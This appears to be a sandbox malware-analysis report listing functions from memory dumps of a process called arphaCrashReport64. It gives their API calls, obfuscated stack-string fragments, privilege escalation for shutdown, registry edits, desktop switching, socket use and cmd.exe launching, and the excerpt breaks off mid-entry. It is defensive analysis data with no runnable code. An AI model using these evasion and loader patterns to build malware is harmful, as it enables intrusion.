free.LIBCMT ref: 000002177939BA73
free.LIBCMT ref: 000002177939BA7F
free.LIBCMT ref: 000002177939BA8B
free.LIBCMT ref: 000002177939BA97
free.LIBCMT ref: 000002177939BAA3
free.LIBCMT ref: 000002177939BAAF
free.LIBCMT ref: 000002177939BABB
free.LIBCMT ref: 000002177939BAC7
free.LIBCMT ref: 000002177939BAD3
free.LIBCMT ref: 000002177939BADF
free.LIBCMT ref: 000002177939BAEB
free.LIBCMT ref: 000002177939BAF7
free.LIBCMT ref: 000002177939BB03
free.LIBCMT ref: 000002177939BB0F
free.LIBCMT ref: 000002177939BB1B
free.LIBCMT ref: 000002177939BB27

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: free$ErrorFreeHeapLast_errno
String ID:
API String ID: 1012874770-0
Opcode ID: 3bcfeb3b4da4738ff2c8081cfba52b5849e1802a269629de1be72a8479a25d7c
Instruction ID: 894aaf3deb594381b84d119e461cff47316bd534fa4e04c16c97beca488a2404
Opcode Fuzzy Hash: 3bcfeb3b4da4738ff2c8081cfba52b5849e1802a269629de1be72a8479a25d7c
Instruction Fuzzy Hash: B6A1757121E548A9EA41BF31D8A93FC5330AFE9B79F447532994D6B1E7CE14CE428310

Function 00000217793832F0 Relevance: 42.1, APIs: 4, Strings: 20, Instructions: 69libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00000217793833B3
GetProcAddress.KERNEL32 ref: 00000217793833C3
GetProcAddress.KERNEL32 ref: 00000217793833D3
GetProcAddress.KERNEL32 ref: 00000217793833E3

Strings

ileT, xrefs: 0000021779383354
.dll, xrefs: 000002177938332D
Kern, xrefs: 000002177938331F
Time, xrefs: 00000217793833A8
File, xrefs: 000002177938338C
stem, xrefs: 00000217793833A1
el32, xrefs: 0000021779383326
mTim, xrefs: 0000021779383346
ToSy, xrefs: 000002177938339A
GetS, xrefs: 0000021779383338
yste, xrefs: 000002177938333F
ime, xrefs: 000002177938335B
Time, xrefs: 0000021779383393
eAsF, xrefs: 000002177938334D
ToLo, xrefs: 0000021779383370
ileT, xrefs: 000002177938337E
Time, xrefs: 0000021779383369
calF, xrefs: 0000021779383377
ime, xrefs: 0000021779383385
File, xrefs: 0000021779383362

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: .dll$File$File$GetS$Kern$Time$Time$Time$ToLo$ToSy$calF$eAsF$el32$ileT$ileT$ime$ime$mTim$stem$yste
API String ID: 2238633743-1498238681
Opcode ID: ff00a95b1e228d669d7c747e6a3e4753806e95f8e25970bfa9467526f097a296
Instruction ID: 830f61b3c83effd9fb3776f18e9c3f6f427e09fa29121dcf12b587a3231a264d
Opcode Fuzzy Hash: ff00a95b1e228d669d7c747e6a3e4753806e95f8e25970bfa9467526f097a296
Instruction Fuzzy Hash: 413134B6A05A41DEEB00CFA1E4993EC7B70F758B98F44541AEA091BB48DA34C24ACB44

Function 000002177939E7CC Relevance: 40.4, APIs: 16, Strings: 7, Instructions: 136libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,?,?,?,?,00000217793812ED), ref: 000002177939E811
GetProcAddress.KERNEL32(?,?,?,?,?,00000217793812ED), ref: 000002177939E82D
RtlEncodePointer.NTDLL ref: 000002177939E83F
GetProcAddress.KERNEL32(?,?,?,?,?,00000217793812ED), ref: 000002177939E856
RtlEncodePointer.NTDLL ref: 000002177939E85F
GetProcAddress.KERNEL32(?,?,?,?,?,00000217793812ED), ref: 000002177939E876
RtlEncodePointer.NTDLL ref: 000002177939E87F
GetProcAddress.KERNEL32(?,?,?,?,?,00000217793812ED), ref: 000002177939E896
RtlEncodePointer.NTDLL ref: 000002177939E89F
GetProcAddress.KERNEL32(?,?,?,?,?,00000217793812ED), ref: 000002177939E8BE
RtlEncodePointer.NTDLL ref: 000002177939E8C7
RtlDecodePointer.NTDLL ref: 000002177939E8FA
RtlDecodePointer.NTDLL ref: 000002177939E90A
RtlDecodePointer.NTDLL ref: 000002177939E960
RtlDecodePointer.NTDLL ref: 000002177939E981
RtlDecodePointer.NTDLL ref: 000002177939E99B

Strings

ceil, xrefs: 000002177939E7D1
USER32.DLL, xrefs: 000002177939E80A
MessageBoxW, xrefs: 000002177939E823
GetProcessWindowStation, xrefs: 000002177939E8B4
GetUserObjectInformationW, xrefs: 000002177939E885
GetActiveWindow, xrefs: 000002177939E845
GetLastActivePopup, xrefs: 000002177939E865

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL$ceil
API String ID: 2643518689-1731902841
Opcode ID: dc7f515bce058812213eff212fecdc56bb59c3819f4b3c80438f9d8dd1d00741
Instruction ID: 2dcf29fd5c92b48faa807771ac654a49092e32c3077c45bff3dba6fbdb1cdeb0
Opcode Fuzzy Hash: dc7f515bce058812213eff212fecdc56bb59c3819f4b3c80438f9d8dd1d00741
Instruction Fuzzy Hash: 9B51EE3560FB4155FD659F55A85C3A8A3B1ABEDBB4F4821259C0E477D0EE3CC847C240

Function 0000021779383160 Relevance: 38.6, APIs: 6, Strings: 16, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00000217793831DA
GetProcAddress.KERNEL32 ref: 00000217793831E7
LoadLibraryA.KERNEL32 ref: 000002177938321B
GetProcAddress.KERNEL32 ref: 0000021779383228
LoadLibraryA.KERNEL32 ref: 0000021779383243
GetProcAddress.KERNEL32 ref: 0000021779383250

Strings

Sid, xrefs: 000002177938323C
eSid, xrefs: 00000217793831CF
Allo, xrefs: 00000217793831AC
cate, xrefs: 00000217793831B3
pi32, xrefs: 000002177938319A
AndI, xrefs: 00000217793831BA
.dll, xrefs: 00000217793831A1
ship, xrefs: 0000021779383210
Chec, xrefs: 00000217793831F1
niti, xrefs: 00000217793831C1
kTok, xrefs: 00000217793831F8
Free, xrefs: 0000021779383232
mber, xrefs: 0000021779383206
Adva, xrefs: 0000021779383193
enMe, xrefs: 00000217793831FF
aliz, xrefs: 00000217793831C8

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$Adva$Allo$AndI$Chec$Free$Sid$aliz$cate$eSid$enMe$kTok$mber$niti$pi32$ship
API String ID: 2574300362-3843195497
Opcode ID: 04621738c0442ffbcc8d80509db345bcb3724ddbb18c76e5f94587bdcebbe584
Instruction ID: 7d9f90e9b536d490fc7ac5c6f0061b3c6a4aa0440e4333232747e2487c9d9dd8
Opcode Fuzzy Hash: 04621738c0442ffbcc8d80509db345bcb3724ddbb18c76e5f94587bdcebbe584
Instruction Fuzzy Hash: A0418776A09B41DEE710CFA1E0947DCBBB4F798788F40101AEA4857B98DB78C21ACB44

Function 0000021779382DB0 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 91libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000021779382DE1
GetProcAddress.KERNEL32 ref: 0000021779382DF4
GetProcAddress.KERNEL32 ref: 0000021779382E07
GetProcAddress.KERNEL32 ref: 0000021779382E1A
LoadLibraryA.KERNEL32 ref: 0000021779382E2A
GetProcAddress.KERNEL32 ref: 0000021779382E3D
LoadLibraryA.KERNEL32 ref: 0000021779382EA6
GetProcAddress.KERNEL32 ref: 0000021779382EB6
CloseHandle.KERNEL32 ref: 0000021779382ECC
FreeLibrary.KERNEL32 ref: 0000021779382EDA
FreeLibrary.KERNEL32 ref: 0000021779382EE8

Strings

kernel32.dll, xrefs: 0000021779382E20
LookupPrivilegeValueA, xrefs: 0000021779382E0D
OpenProcessToken, xrefs: 0000021779382DE7
KERNEL32.dll, xrefs: 0000021779382E9F
GetCurrentProcess, xrefs: 0000021779382E30
ADVAPI32.dll, xrefs: 0000021779382DD7
AdjustTokenPrivileges, xrefs: 0000021779382DFA
GetLastError, xrefs: 0000021779382EAC
SeShutdownPrivilege, xrefs: 0000021779382E63

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: AddressLibraryProc$Load$Free$CloseHandle
String ID: ADVAPI32.dll$AdjustTokenPrivileges$GetCurrentProcess$GetLastError$KERNEL32.dll$LookupPrivilegeValueA$OpenProcessToken$SeShutdownPrivilege$kernel32.dll
API String ID: 2887716753-2040270271
Opcode ID: 1931c1dd66fb4f11e5269d907c7bd64e2e974d974d3bc15fafe02a502647d804
Instruction ID: a2133bf0d4a619632adf83c7274ca34ce75550088354dd5fbd504b021cb0c21a
Opcode Fuzzy Hash: 1931c1dd66fb4f11e5269d907c7bd64e2e974d974d3bc15fafe02a502647d804
Instruction Fuzzy Hash: 2631393961AB4586EA40DF21F8586D9B3B0F7EDBE0F442026FE4A437A4DE78C54AC740

Function 0000021779383A90 Relevance: 34.7, APIs: 23, Instructions: 171sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00000217793819A0: WSAStartup.WS2_32 ref: 0000021779381A19
Part of subcall function 00000217793819A0: CreateEventA.KERNEL32 ref: 0000021779381A2A

GetTickCount64.KERNEL32 ref: 0000021779383AEF

Part of subcall function 0000021779381BF0: ResetEvent.KERNEL32 ref: 0000021779381C2D
Part of subcall function 0000021779381BF0: timeGetTime.WINMM ref: 0000021779381C3F
Part of subcall function 0000021779381BF0: socket.WS2_32 ref: 0000021779381C66

Sleep.KERNEL32 ref: 0000021779383B4B
GetTickCount64.KERNEL32 ref: 0000021779383B57
setsockopt.WS2_32 ref: 0000021779383BB7
CancelIo.KERNEL32 ref: 0000021779383BC1
closesocket.WS2_32 ref: 0000021779383BD2
SetEvent.KERNEL32 ref: 0000021779383BDC
TerminateThread.KERNEL32 ref: 0000021779383C03
WaitForSingleObject.KERNEL32 ref: 0000021779383C13
CloseHandle.KERNEL32 ref: 0000021779383C20
Sleep.KERNEL32 ref: 0000021779383C2B
CloseHandle.KERNEL32 ref: 0000021779383C47
GetTickCount64.KERNEL32 ref: 0000021779383D40

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Count64EventTick$CloseHandleSleep$CancelCreateObjectResetSingleStartupTerminateThreadTimeWaitclosesocketsetsockoptsockettime
String ID:
API String ID: 2857159816-0
Opcode ID: d9f2ec0d3e0aa7c58bdcbaaae274798825103d0bf1e999a975acfbe6aba94234
Instruction ID: 3264d9dd7d86109921d2029186eba4d7959f7c3914bad623fe094cb2b4678bd7
Opcode Fuzzy Hash: d9f2ec0d3e0aa7c58bdcbaaae274798825103d0bf1e999a975acfbe6aba94234
Instruction Fuzzy Hash: 6B815E3560AA809AEB20DF25DC5C6D9B371F7E8774F146221EA5A43BE5DF38C54AC300

Function 00000217793A1BD0 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 334COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000217793A065C: RtlLookupFunctionEntry.KERNEL32 ref: 00000217793A06D0

__GetUnwindTryBlock.LIBCMT ref: 00000217793A1C34
__SetUnwindTryBlock.LIBCMT ref: 00000217793A1C5B

Part of subcall function 000002177939581C: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000021779393332), ref: 0000021779395897

__GetUnwindTryBlock.LIBCMT ref: 00000217793A1C65
_getptd.LIBCMT ref: 00000217793A1CBB
_getptd.LIBCMT ref: 00000217793A1CCE
_getptd.LIBCMT ref: 00000217793A1CDA
_SetThrowImageBase.LIBCMT ref: 00000217793A1CEE
_getptd.LIBCMT ref: 00000217793A1D3E
_getptd.LIBCMT ref: 00000217793A1D51
_getptd.LIBCMT ref: 00000217793A1D5D
type_info::operator==.LIBCMT ref: 00000217793A1DC4
std::exception::exception.LIBCMT ref: 00000217793A1DFD
_getptd.LIBCMT ref: 00000217793A2030
std::exception::exception.LIBCMT ref: 00000217793A20A9

Strings

bad exception, xrefs: 00000217793A1DEA
csm, xrefs: 00000217793A1E22
csm, xrefs: 00000217793A1C7B
csm, xrefs: 00000217793A1D09

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$BlockUnwind$std::exception::exception$BaseEntryExceptionFunctionImageLookupRaiseThrowtype_info::operator==
String ID: bad exception$csm$csm$csm
API String ID: 1639654010-820278400
Opcode ID: b0da779e959dd11a921ddf9fc6ba28667f0c5ca04c162c67c142df2107bdb14a
Instruction ID: e013b7afa70d34f9c127ced4759f90c20f4dc2581b266f73f8fdb174f9a55b4b
Opcode Fuzzy Hash: b0da779e959dd11a921ddf9fc6ba28667f0c5ca04c162c67c142df2107bdb14a
Instruction Fuzzy Hash: E3E1E03660A6408AEB64DFA191483EEB7B5F7ADBA8F046125FE4917BC6CB34C453C300

Function 00000217790B1588 Relevance: 30.2, APIs: 14, Strings: 3, Instructions: 493COMMONLIBRARYCODE

Download Yara Rule

APIs

__GetUnwindTryBlock.LIBCMT ref: 00000217790B15EC
__SetUnwindTryBlock.LIBCMT ref: 00000217790B1613
__GetUnwindTryBlock.LIBCMT ref: 00000217790B161D
_getptd.LIBCMT ref: 00000217790B1673
_getptd.LIBCMT ref: 00000217790B1686
_getptd.LIBCMT ref: 00000217790B1692
_SetThrowImageBase.LIBCMT ref: 00000217790B16A6
_getptd.LIBCMT ref: 00000217790B16F6
_getptd.LIBCMT ref: 00000217790B1709
_getptd.LIBCMT ref: 00000217790B1715
type_info::operator==.LIBCMT ref: 00000217790B177C
std::exception::exception.LIBCMT ref: 00000217790B17B5
_getptd.LIBCMT ref: 00000217790B19E8
std::exception::exception.LIBCMT ref: 00000217790B1A61

Strings

csm, xrefs: 00000217790B16C1
csm, xrefs: 00000217790B1633
csm, xrefs: 00000217790B17DA

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$BlockUnwind$std::exception::exception$BaseImageThrowtype_info::operator==
String ID: csm$csm$csm
API String ID: 3798665358-393685449
Opcode ID: 3059d18893a6f2d6e099a0d3dd07f7d6103baa939f11c7274faf6686222187fe
Instruction ID: a5433e3612430b6f9574a34002b6bc58ca6c88266519374314819742e2e856b8
Opcode Fuzzy Hash: 3059d18893a6f2d6e099a0d3dd07f7d6103baa939f11c7274faf6686222187fe
Instruction Fuzzy Hash: 7DF1B63162DA0A8BEB99EF6898497E8F3F1FBAD720F54016DD449931D2DB309847C781

Function 00000217793817D0 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 112libraryloaderstringCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000021779381806
GetProcAddress.KERNEL32 ref: 0000021779381819
GetProcAddress.KERNEL32 ref: 000002177938182E
GetProcAddress.KERNEL32 ref: 0000021779381841
GetProcAddress.KERNEL32 ref: 0000021779381851
GetProcAddress.KERNEL32 ref: 0000021779381861
GetProcAddress.KERNEL32 ref: 0000021779381876
lstrlen.KERNEL32 ref: 000002177938192A
FreeLibrary.KERNEL32 ref: 0000021779381970

Strings

RegCreateKeyExA, xrefs: 000002177938180F
RegOpenKeyExA, xrefs: 0000021779381857
ADVAPI32.dll, xrefs: 00000217793817FF
?, xrefs: 000002177938189D
RegDeleteKeyA, xrefs: 0000021779381837
RegSetValueExA, xrefs: 0000021779381824
RegCloseKey, xrefs: 000002177938186C
RegDeleteValueA, xrefs: 0000021779381847

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: AddressProc$Library$FreeLoadlstrlen
String ID: ?$ADVAPI32.dll$RegCloseKey$RegCreateKeyExA$RegDeleteKeyA$RegDeleteValueA$RegOpenKeyExA$RegSetValueExA
API String ID: 320228506-381397426
Opcode ID: 14014c8cb4e149271cbad4aafa1c0eef43e85b9e77fdb354fec79f0d9413f6f3
Instruction ID: ee2746d36909e8f6f7f45beed2a323117e4256c2b98e7cd51a993a11612540b4
Opcode Fuzzy Hash: 14014c8cb4e149271cbad4aafa1c0eef43e85b9e77fdb354fec79f0d9413f6f3
Instruction Fuzzy Hash: F3414D3621AB4086EB508F56F85479AF375F7D8BE4F401121EE9943BA8DF38C546C744

Function 0000021779382BA0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000021779382BD6
GetProcAddress.KERNEL32 ref: 0000021779382BEE
GetProcAddress.KERNEL32 ref: 0000021779382C01
GetProcAddress.KERNEL32 ref: 0000021779382C16
GetProcAddress.KERNEL32 ref: 0000021779382C29
LoadLibraryA.KERNEL32 ref: 0000021779382C39
GetProcAddress.KERNEL32 ref: 0000021779382C51
FreeLibrary.KERNEL32 ref: 0000021779382CA9
FreeLibrary.KERNEL32 ref: 0000021779382CB7

Strings

kernel32.dll, xrefs: 0000021779382C32
user32.dll, xrefs: 0000021779382BCF
GetCurrentThreadId, xrefs: 0000021779382C47
GetThreadDesktop, xrefs: 0000021779382BE4
CloseDesktop, xrefs: 0000021779382C1F
GetUserObjectInformationA, xrefs: 0000021779382BF7
SetThreadDesktop, xrefs: 0000021779382C0C

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: CloseDesktop$GetCurrentThreadId$GetThreadDesktop$GetUserObjectInformationA$SetThreadDesktop$kernel32.dll$user32.dll
API String ID: 2449869053-588083535
Opcode ID: d557bd2b9d25df6d8a29b5deac8a03b5bc3a892c2579fa6b7429a775bd7d3774
Instruction ID: 8698b99a0c08dc6840c8d473668b7a0eead29271b4f3b98634fa9c72fa40da8d
Opcode Fuzzy Hash: d557bd2b9d25df6d8a29b5deac8a03b5bc3a892c2579fa6b7429a775bd7d3774
Instruction Fuzzy Hash: 1231F43921AB4081EA519F22E8587EAF3B0FBEDBE0F442125ED4A47794EF78C5468340

Function 00007FF73D1CD63C Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 57libraryloaderCOMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,00007FF73D1CDA40,?,?,?,00007FF73D1C2F1D), ref: 00007FF73D1CD655
LoadLibraryExA.KERNEL32(?,?,?,00007FF73D1CDA40,?,?,?,00007FF73D1C2F1D), ref: 00007FF73D1CD66F
GetProcAddress.KERNEL32(?,?,?,00007FF73D1CDA40,?,?,?,00007FF73D1C2F1D), ref: 00007FF73D1CD68B
EncodePointer.KERNEL32(?,?,?,00007FF73D1CDA40,?,?,?,00007FF73D1C2F1D), ref: 00007FF73D1CD69D
GetProcAddress.KERNEL32(?,?,?,00007FF73D1CDA40,?,?,?,00007FF73D1C2F1D), ref: 00007FF73D1CD6B4
EncodePointer.KERNEL32(?,?,?,00007FF73D1CDA40,?,?,?,00007FF73D1C2F1D), ref: 00007FF73D1CD6C2
GetProcAddress.KERNEL32(?,?,?,00007FF73D1CDA40,?,?,?,00007FF73D1C2F1D), ref: 00007FF73D1CD6D9
EncodePointer.KERNEL32(?,?,?,00007FF73D1CDA40,?,?,?,00007FF73D1C2F1D), ref: 00007FF73D1CD6E7
GetProcAddress.KERNEL32(?,?,?,00007FF73D1CDA40,?,?,?,00007FF73D1C2F1D), ref: 00007FF73D1CD6FE
EncodePointer.KERNEL32(?,?,?,00007FF73D1CDA40,?,?,?,00007FF73D1C2F1D), ref: 00007FF73D1CD70C

Strings

atlthunk.dll, xrefs: 00007FF73D1CD662
AtlThunk_InitData, xrefs: 00007FF73D1CD6A3
AtlThunk_AllocateData, xrefs: 00007FF73D1CD681
AtlThunk_FreeData, xrefs: 00007FF73D1CD6ED
AtlThunk_DataToCode, xrefs: 00007FF73D1CD6C8

Memory Dump Source

Source File: 00000005.00000002.3529204060.00007FF73D1C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF73D1C0000, based on PE: true

Associated: 00000005.00000002.3529172874.00007FF73D1C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529246026.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529283851.00007FF73D1F2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529321595.00007FF73D1F5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff73d1c0000_arphaCrashReport64.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$DecodeLibraryLoad
String ID: AtlThunk_AllocateData$AtlThunk_DataToCode$AtlThunk_FreeData$AtlThunk_InitData$atlthunk.dll
API String ID: 4088972757-1745123996
Opcode ID: e616ce5f37f1b4e4ce6758aa9da7daa550d8ae5af315314d3572aa898a2e0930
Instruction ID: 490ff58974ca8598b938c115d23e93380af2c728d1d4a9e2b03afb2c98ef5ea1
Opcode Fuzzy Hash: e616ce5f37f1b4e4ce6758aa9da7daa550d8ae5af315314d3572aa898a2e0930
Instruction Fuzzy Hash: 9921CC64F0EB4BA3EE04AB91B854174E290BF49B85FC65138C99D47360FF7CA245A760

Function 00007FF73D1CD53C Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 57libraryloaderCOMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,00007FF73D1CD99A), ref: 00007FF73D1CD555
LoadLibraryExA.KERNEL32(?,?,?,00007FF73D1CD99A), ref: 00007FF73D1CD56F
GetProcAddress.KERNEL32(?,?,?,00007FF73D1CD99A), ref: 00007FF73D1CD58B
EncodePointer.KERNEL32(?,?,?,00007FF73D1CD99A), ref: 00007FF73D1CD59D
GetProcAddress.KERNEL32(?,?,?,00007FF73D1CD99A), ref: 00007FF73D1CD5B4
EncodePointer.KERNEL32(?,?,?,00007FF73D1CD99A), ref: 00007FF73D1CD5C2
GetProcAddress.KERNEL32(?,?,?,00007FF73D1CD99A), ref: 00007FF73D1CD5D9
EncodePointer.KERNEL32(?,?,?,00007FF73D1CD99A), ref: 00007FF73D1CD5E7
GetProcAddress.KERNEL32(?,?,?,00007FF73D1CD99A), ref: 00007FF73D1CD5FE
EncodePointer.KERNEL32(?,?,?,00007FF73D1CD99A), ref: 00007FF73D1CD60C

Strings

atlthunk.dll, xrefs: 00007FF73D1CD562
AtlThunk_InitData, xrefs: 00007FF73D1CD5A3
AtlThunk_AllocateData, xrefs: 00007FF73D1CD581
AtlThunk_FreeData, xrefs: 00007FF73D1CD5ED
AtlThunk_DataToCode, xrefs: 00007FF73D1CD5C8

Memory Dump Source

Source File: 00000005.00000002.3529204060.00007FF73D1C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF73D1C0000, based on PE: true

Associated: 00000005.00000002.3529172874.00007FF73D1C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529246026.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529283851.00007FF73D1F2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529321595.00007FF73D1F5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff73d1c0000_arphaCrashReport64.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$DecodeLibraryLoad
String ID: AtlThunk_AllocateData$AtlThunk_DataToCode$AtlThunk_FreeData$AtlThunk_InitData$atlthunk.dll
API String ID: 4088972757-1745123996
Opcode ID: f8712fd5a3c25522077a4ff2ee864bf8c10fba992a64d8f947a4c16263d71c49
Instruction ID: 4aac04d1b327bb8119f5c9c10cea306b6829af1df357df08d4c490569b7cc1e6
Opcode Fuzzy Hash: f8712fd5a3c25522077a4ff2ee864bf8c10fba992a64d8f947a4c16263d71c49
Instruction Fuzzy Hash: BA21A960E0EB0BA3EE44AB95F854274E2A0BF49B41FC65138CA5D47360FF7CA245A760

Function 000002177939DAB8 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 192processsynchronizationCOMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 000002177939DB08
_errno.LIBCMT ref: 000002177939DB0F
_invalid_parameter_noinfo.LIBCMT ref: 000002177939DB1A
__doserrno.LIBCMT ref: 000002177939DC65
CreateProcessA.KERNEL32 ref: 000002177939DCA7
GetLastError.KERNEL32 ref: 000002177939DCAF
free.LIBCMT ref: 000002177939DCBC
WaitForSingleObject.KERNEL32 ref: 000002177939DCE9
GetExitCodeProcess.KERNEL32 ref: 000002177939DCF7
CloseHandle.KERNEL32 ref: 000002177939DD11
CloseHandle.KERNEL32 ref: 000002177939DD21
_errno.LIBCMT ref: 000002177939DD2C

Strings

cmd.exe, xrefs: 000002177939DAC2

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: CloseHandleProcess__doserrno_errno$CodeCreateErrorExitLastObjectSingleWait_invalid_parameter_noinfofree
String ID: cmd.exe
API String ID: 2975444996-723907552
Opcode ID: eef2e16a2f52ab01c99e58510f15d6f11bbd98a0e69ced5dc9547102376d560c
Instruction ID: d22a1c513759c4d642fe58b09aa8e44c88fd684897d63b183578a5902649ff69
Opcode Fuzzy Hash: eef2e16a2f52ab01c99e58510f15d6f11bbd98a0e69ced5dc9547102376d560c
Instruction Fuzzy Hash: 3471BE7660AB4489EB208F65E4493FDA7B0F7A87BCF516216EE6A077D5DA78C406C300

Function 00007FF73D1CCD80 Relevance: 22.8, APIs: 15, Instructions: 252windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF73D1CCDA5

Part of subcall function 00007FF73D1C8080: GetWindowLongW.USER32 ref: 00007FF73D1C80B2
